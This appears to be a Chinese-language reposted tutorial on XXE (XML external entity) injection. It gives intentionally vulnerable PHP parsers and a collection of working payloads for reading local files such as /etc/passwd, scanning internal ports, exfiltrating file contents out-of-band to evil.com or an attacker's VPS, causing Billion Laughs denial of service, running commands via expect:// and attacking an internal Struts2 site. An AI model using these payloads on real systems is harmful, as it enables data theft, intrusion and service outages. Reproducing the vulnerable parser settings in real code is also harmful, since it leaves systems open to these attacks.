XML注入详解xxe攻击利用
Posted 锋刃科技
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XML注入详解xxe攻击利用相关的知识,希望对你有一定的参考价值。
###xxe攻击利用
准备一个有XXE漏洞的文件,如下:
<?php
$xml=file_get_contents("php://input");
$data = simplexml_load_string($xml) ;
echo "<pre>" ;
print_r($data) ;//
注释掉该语句即为无回显的情况
?>
xxe利用主要有:任意文件读取、内网信息探测(包括端口和相关web指纹识别)、DOS攻击、远程命名执行
POC主要有:
file:///path/to/file.ext
http://url/file.ext
php://filter/read=convert.base64-encode/resource=conf.php
不同程序支持的协议不同
1.任意文件读取
任意读取的代码:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xdsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<methodcall>
<methodname>&xxe;</methodname>
</methodcall>
1).有直接回显的情况:可以看命名实体写法,根据实际情况替换相应代码利用即可,我本地测试照搬过来
2).无回显的情况:可以看第一种命名实体+外部实体+参数实体写法和第二种命名实体+外部实体+参数实体写法
第一种写法结果如图:
c://test/1.txt文件内容为111111111,可以从apache的日志中看到
::1 - - [23/Apr/2017:17:37:13 +0800] "GET /111111111 HTTP/1.0" 404 207
第二种写法结果如图:
本地环境读取:
该CASE是读取/etc/passwd,有些XML解析库支持列目录,攻击者通过列目录、读文件,获取帐号密码后进一步攻击,如读取tomcat-users.xml得到帐号密码后登录tomcat的manager部署webshell。
另外,数据不回显就没有问题了吗?如下图,
不,可以把数据发送到远程服务器,
远程evil.dtd文件内容如下:
触发XXE攻击后,服务器会把文件内容发送到攻击者网站
基于file协议的XXE攻击
XMLInject.php
<?php
# Enable the ability to load external entities
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
# http://hublog.hubmed.org/archives/001854.html
# LIBXML_NOENT: 将 XML 中的实体引用 替换 成对应的值
# LIBXML_DTDLOAD: 加载 DOCTYPE 中的 DTD 文件
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); // this stuff is required to make sure
$creds = simplexml_import_dom($dom);
$user = $creds->user;
$pass = $creds->pass;
echo "You have logged in as user $user";`?>
file_get_content('php://input')接收post数据,xml数据
XML.txt
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>`</creds>
导致可以读出etc/passwd文件
在使用file://协议时,有以下几种格式:
file://host/path
* Linux
file:///etc/passwd
* Unix
file://localhost/etc/fstab
file:///localhost/etc/fstab
* Windows
file:///c:/windows/win.ini
file://localhost/c:/windows/win.ini
* (下面这两种在某些浏览器里是支持的)
file:///c|windows/win.ini
file://localhost/c|windows/win.ini
XML文档是用PHP进行解析的,那么还可以使用php://filter协议来进行读取。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY content SYSTEM "php://filter/resource=c:/windows/win.ini">
]>
<root><foo>&content;</foo></root>
基于netdoc的XXE攻击
==XML文档是用Java解析的话,可利用netdoc
<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#PCDATA)>
<!ENTITY file SYSTEM "netdoc:/sys/power/image_size">
]>
<data>&file;</data>
读取本地文件:
以php环境为例,index.php内容如下:
<?php
$xml=simplexml_load_string($_GET['xml']);
print_r((string)$xml);
?>
利用各种协议可以读取文件。比如file协议,这里的测试环境为win,所以这里我选择读取h盘里的sky.txt。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY file SYSTEM "file:///h://sky.txt">]>
<root>&file;</root>
将上述xml进行url编码后传进去,可以发现读取了sky.txt中的内容。
注:
如果要读取php文件,因为php、html等文件中有各种括号<,>,若直接用file读取会导致解析错误,此时可以利用php://filter将内容转换为base64后再读取。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY file SYSTEM "php://filter/convert.base64-encode/resource=index.php">]>
<root>&file;</root>
同样先经过url编码后再传入。
2.内网信息探测
借助各种协议如http,XXE可以协助扫描内网,可能可以访问到内网开放WEB服务的Server,并获取其他信息
利用http协议http://url/file.ext,替换标准poc中相应部分即可,这种情况比较不稳定,根据不同xml解析器会得到不同的回显报错结果,例如我87关闭,88端口有web服务, 有的没有明显的连接错误信息,所以无法判断端口的状态
也可以探测内网端口:
该CASE是探测192.168.1.1的80、81端口,通过返回的“Connection refused”可以知道该81端口是closed的,而80端口是open的。
加载外部DTD时有两种加载方式,一种为私有private,第二种为公共public。
私有类型DTD加载:
<!ENTITY private_dtd SYSTEM "DTD_location">
公共类型DTD加载:
<!ENTITY public_dtd PUBLIC "DTD_name" "DTD_location">
在公共类型DTD加载的时候,首先会使用DTD_name来检索,如果无法找到,则通过DTD_location来寻找此公共DTD。利用DTD_location,在一定的环境下可以用来做内网探测。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY portscan SYSTEM "http://localhost:3389">
]>
<root><foo>&portscan;</foo></root>
因解析器种类不同,所以针对XXE攻击进行端口扫描需要一个合适的环境才能够实现,例如:有明显的连接错误信息。
利用DTD进行数据回显
有时读取文件时没有回显,这时可以利用DTD参数实体的特性将文件内容拼接到url中,达到读取文件的效果。
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root[ <!ENTITY % file SYSTEM "php://fileter/convert.base64-encode/resource=c:/windows/win.ini"> <!ENTITY % dtd SYSTEM "http://192.168.1.100:8000/evil.dtd"> %dtd; %send;]> <root></root>
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://evil.com/?content=%file;'>"> %payload;
evil.dtd
在evil.dtd中将%file实体的内容拼接到url后,然后利用burp等工具,查看url请求就能获得我们需要的内容
或者:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:80" >]>
<root>
<name>&xxe;</name>
</root>
3.DOS攻击
最典型的案例Billion Laughs 攻击,Billion laughs attack,xml解析的时候,<lolz></lolz>中间将是一个十亿级别大小的参数,将会消耗掉系统30亿字节的内存。
POC:
<?xml version = "1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]>
<lolz>&lol9;</lolz>
或者:
<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>
POC中中先定义了lol实体,值为"lol"的字符串,后在下面又定义了lol2实体,lol2实体引用10个lol实体,lol3又引用了10个lol2实体的值,依此类推,到了最后在lolz元素中引用的lol9中,就会存在上亿个"lol"字符串
此时解析数据时未做特别处理,即可能造成拒绝服务攻击。
此外还有一种可能造成拒绝服务的Payload,借助读取/dev/random实现.
4.远程命令执行
PHP下需要expect扩展
该CASE是在安装expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系统命令。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY content SYSTEM "expect://dir .">
]>
<root><foo>&content;</foo></root>
或者
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<root>
<name>&xxe;</name>
</root>
bind xxe
对于无回显的xml注入:
在你的vps上放1.xml文件,内容如下:
<!ENTITY % f SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % all "<!ENTITY % s SYSTEM 'http://你的vps/xxe.php?f=%f;'>">
再在你的vps上放xxe.php,内容如下:
<?php
file_put_contents("/tmp/1.txt", $_GET['f']);
?>
最后在可以写xml的页面写如下:
<!DOCTYPE ANY[
<!ENTITY % r SYSTEM "http://你的vps/1.xml">
%r;
%all;
%s;
]>
访问1.txt就可以获得flag的内容
5.攻击内网网站
该CASE是攻击内网struts2网站,远程执行系统命令。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY exp SYSTEM "http://192.168.1.103/payload">
]>
<root><foo>&exp;</foo></root>
或者
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:80/payload" >]>
<root>
<name>&xxe;</name>
</root>
或者
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xdsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe SYSTEM "http://attacker.com/text.txt" >]>
<methodcall>
<methodname>&xxe;</methodname>
</methodcall>
如果包含文件失败,可能是由于读取php等文件时文件本身包含的<等字符.可以使用Base64编码绕过,如:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xdsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php" >]>
<methodcall>
<methodname>&xxe;</methodname>
</methodcall>
利用外部实体构造payload向内网其他机器发出请求
关联阅读:
以上是关于XML注入详解xxe攻击利用的主要内容,如果未能解决你的问题,请参考以下文章